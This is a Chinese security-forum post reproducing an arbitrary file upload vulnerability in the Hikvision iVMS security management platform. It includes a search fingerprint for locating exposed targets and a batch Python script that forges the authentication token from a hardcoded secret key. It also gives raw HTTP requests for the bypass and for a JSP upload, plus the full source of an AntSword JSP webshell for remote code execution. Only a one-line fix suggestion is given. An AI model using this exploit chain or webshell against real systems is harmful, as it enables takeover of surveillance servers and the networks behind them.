安全矩阵

 找回密码
 立即注册
搜索
查看: 1175|回复: 0

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-5-31 22:02:52 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-5-31 22:02 编辑

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)
原文链接:海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)
OidBoy_G             WIN哥学安全      2023-05-31 15:46 发表于天津  
1产品简介

海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。
2漏洞概述海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。
3影响范围海康威视综合安防系统iVMS-5000海康威视综合安防系统 iVMS-87004复现环境鹰图指纹:web.body="/views/home/file/installPackage.rar"




5漏洞复现检测脚本

PoC:https://github.com/sccmdaveli/hikvision-poc
  1. import requests
  2. import urllib3
  3. import urllib
  4. import hashlib
  5. import argparse
  6. from colorama import init
  7. from colorama import Fore
  8. init(autoreset=True)
  9. urllib3.disable_warnings()


  10. head = {
  11.     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
  12.     "Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
  13. }
  14. def md5encode(url):
  15.     if url.endswith("/"):
  16.         path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"
  17.     else:
  18.         path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"
  19.     encodetext = url + path
  20.     input_name = hashlib.md5()
  21.     input_name.update(encodetext.encode("utf-8"))
  22.     return (input_name.hexdigest()).upper()

  23. def poc(url):
  24.     if url.endswith("/"):
  25.         path = "eps/api/resourceOperations/upload?token="
  26.     else:
  27.         path = "/eps/api/resourceOperations/upload?token="
  28.     pocurl = url + path + md5encode(url)
  29.     data = {
  30.         "service": urllib.parse.quote(url + "/home/index.action")
  31.     }
  32.     try:
  33.         response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)
  34.         if response.status_code==200:
  35.             print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")
  36.         else:
  37.             print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")
  38.     except:
  39.         pass

  40. if __name__ == '__main__':
  41.     parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',
  42.                                      description='ivms漏洞检测poc',
  43.                                      )
  44.     p = parser.add_argument_group('ivms 的参数')
  45.     p.add_argument("-u", "--url", type=str, help="测试单条url")
  46.     p.add_argument("-f", "--file", type=str, help="测试多个url文件")
  47.     args = parser.parse_args()
  48.     if args.url:
  49.         poc(args.url)
  50.     if args.file:
  51.         for i in open(args.file,"r").read().split("\n"):
  52.             poc(i)
复制代码


使用方式:单个url检测:python3 ivms-poc.py -u url多个url检测:python3 ivms-poc.py -f file.txt效果:








手动复现


漏洞url:/eps/api/resourceOperations/uploadbp抓取首页包,尝试访问接口(发现token需要进行鉴权)


  1. POST /eps/api/resourceOperations/upload HTTP/1.1
  2. Host: your-ip
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Referer: http://you-ip
  8. Connection: close
  9. Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
  10. Upgrade-Insecure-Requests: 1
  11. Content-Length: 62

  12. service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action
复制代码

构造token绕过认证  (内部机制:如果token值与请求url+secretkey的md5值相同就可以绕过认证)secretkey是代码里写死的(默认值:secretKeyIbuilding)token值需要进行MD5加密(32位大写)组合:token=MD5(url+"secretKeyIbuilding")



重新验证



可以看到,成功绕过构造文件上传payload
  1. POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
  2. Host: your-ip
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Connection: close
  7. Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
  8. Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
  9. Upgrade-Insecure-Requests: 1
  10. Content-Length: 174

  11. ------WebKitFormBoundaryGEJwiloiPo
  12. Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
  13. Content-Type: image/jpeg

  14. test
  15. ------WebKitFormBoundaryGEJwiloiPo
复制代码




显示上传成功且返回了resourceUuid值验证路径:http://url/eps/upload/resourceUuid的值.jsp

6漏洞利用

直接上传蚁剑jsp马子
  1. <%!
  2.     class U extends ClassLoader {
  3.         U(ClassLoader c) {
  4.             super(c);
  5.         }
  6.         public Class g(byte[] b) {
  7.             return super.defineClass(b, 0, b.length);
  8.         }
  9.     }

  10.     public byte[] base64Decode(String str) throws Exception {
  11.         try {
  12.             Class clazz = Class.forName("sun.misc.BASE64Decoder");
  13.             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
  14.         } catch (Exception e) {
  15.             Class clazz = Class.forName("java.util.Base64");
  16.             Object decoder = clazz.getMethod("getDecoder").invoke(null);
  17.             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
  18.         }
  19.     }

  20. %>
  21. <%
  22.     String cls = request.getParameter("passwd");
  23.     if (cls != null) {
  24.         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
  25.     }
  26. %>
复制代码



上传成功,尝试连接





7修复建议

关闭互联网暴露面访问的权限,文件上传模块做好权限强认证
Tips:文章来源:csdn

https://blog.csdn.net/qq_41904294/article/details/130807691
扫码回复“加群”加入交流群







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 14:47 , Processed in 0.016506 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表